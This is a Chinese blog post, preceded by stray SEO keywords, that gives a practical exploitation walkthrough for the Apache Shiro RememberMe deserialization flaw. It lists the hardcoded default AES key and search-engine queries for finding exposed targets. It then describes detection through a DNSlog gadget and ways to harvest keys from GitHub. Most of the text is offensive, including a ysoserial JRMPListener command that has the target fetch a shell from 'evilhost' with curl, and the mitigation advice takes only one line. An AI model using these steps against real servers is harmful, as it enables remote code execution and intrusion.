国外做宠物产品的网站,自学it怎么入门,在阿里云上做网站步骤,网站建设培训心得体会Apache Shiro是一个Java安全框架#xff0c;执行身份验证、授权、密码和会话管理。2016年#xff0c;网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年#xff0c;但是在实战中仍然比较实用。花了点时间研究了下#xff0c;并根据网络上的利用脚本改进。…Apache Shiro是一个Java安全框架执行身份验证、授权、密码和会话管理。2016年网络中曝光1.2.4以前的版本存在反序列化漏洞。尽管该漏洞已经曝光几年但是在实战中仍然比较实用。花了点时间研究了下并根据网络上的利用脚本改进。主要修改了检测方式并使利用方式更加简单灵活使其更具有实战意义提升其效率。漏洞原理Apache Shiro框架提供了记住我的功能RememberMe用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMecookie的值是经过对相关信息进行序列化然后使用aes加密最后在使用base64编码处理形成的。在服务端接收cookie值时按照如下步骤来解析处理1、检索RememberMe cookie 的值2、Base 64解码3、使用AES解密(加密密钥硬编码)4、进行反序列化操作未作过滤处理在调用反序列化时未进行任何过滤导致可以触发远程代码执行漏洞。漏洞利用条件由于使用来aes加密要想成功利用漏洞则需要获取aes的加密密钥而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPHbIxk5D2deZiIxcaaaA。这里就可以通过构造恶意的序列化对象进行编码加密然后作为cookie加密发送服务端接收后会解密并触发反序列化漏洞。尽管目前已经更新了许多版本官方并没有反序列化漏洞本身解决而是通过去掉硬编码的密钥使其每次生成一个密钥来解决该漏洞。但是目前一些开源系统、教程范例代码都使用来固定的编码这里我们可以通过搜索引擎、github等来收集密钥提高漏洞检测与利用的成功率。检测与利用目标发现与寻找Shrio框架的特征是登录页面的cookie中存在remeberMedeleteMe失败时返回的值的内容。通过该特征发现Shiro的系统有几种方式1、在登录页面时提交表单后看set-cookie是否存在remeberMedeleteMe。2、在流量中搜索remeberMedeleteMe。3、通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。例如fofa的搜索关键词headerremembermedeleteMe、headershiroCookie漏洞检测漏洞检测的面临的问题1、该漏洞无法回显2、系统环境复杂3、aes的key可能被修改。对于第一个问题可以通过dnslog平台使用ysoserial的URLDNS Gadget来检测使用这个Gadget好处就是通用。这种检测也可以解决系统环境复杂的问题。但是这里要注意解析会有ttl值缓存检测时建议每次随机生成一个子域名。对于第三个问题我们可以通过网络收集文件读取漏洞来获取key。通过github搜索引擎这里收集到了23个key。这里列出搜索关键词或者文件路径github搜索关键词securityManager.rememberMeManager.cipherKey cookieRememberMeManager.setCipherKey setCipherKey(Base64.decode配置文件路径或者名WEB-INF/shiro.iniShiroConfig.java利用方式根据大牛的文章以及实际测试漏洞利用目前使用jndi和jrmp比较好。使用ysoserial的exploit功能即可。服务器上执行java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 curl evilhost/shell –o shell本地通过JRMPClient的payload链接服务器上的JRMP服务使用网上的漏洞利用工具发送即可利用成功。漏洞脚本地址Shiro_exploit修复建议1、不要使用硬编码不要使用硬编码不要使用硬编码。参考链接http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.htmlhttps://issues.apache.org/jira/browse/SHIRO-550https://blog.knownsec.com/2016/08/apache-shiro-java/https://www.cnblogs.com/loong-hon/p/10619616.htmlhttps://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/https://www.freebuf.com/vuls/178014.htmlhttps://www.cnblogs.com/peterpan0707007/p/11342997.htmlhttps://github.com/frohoff/ysoserial本文作者 BaCdes Blog本文链接 Apache Shiro 反序列化漏洞实战版权声明 本博客所有文章除特别声明外转载请注明出处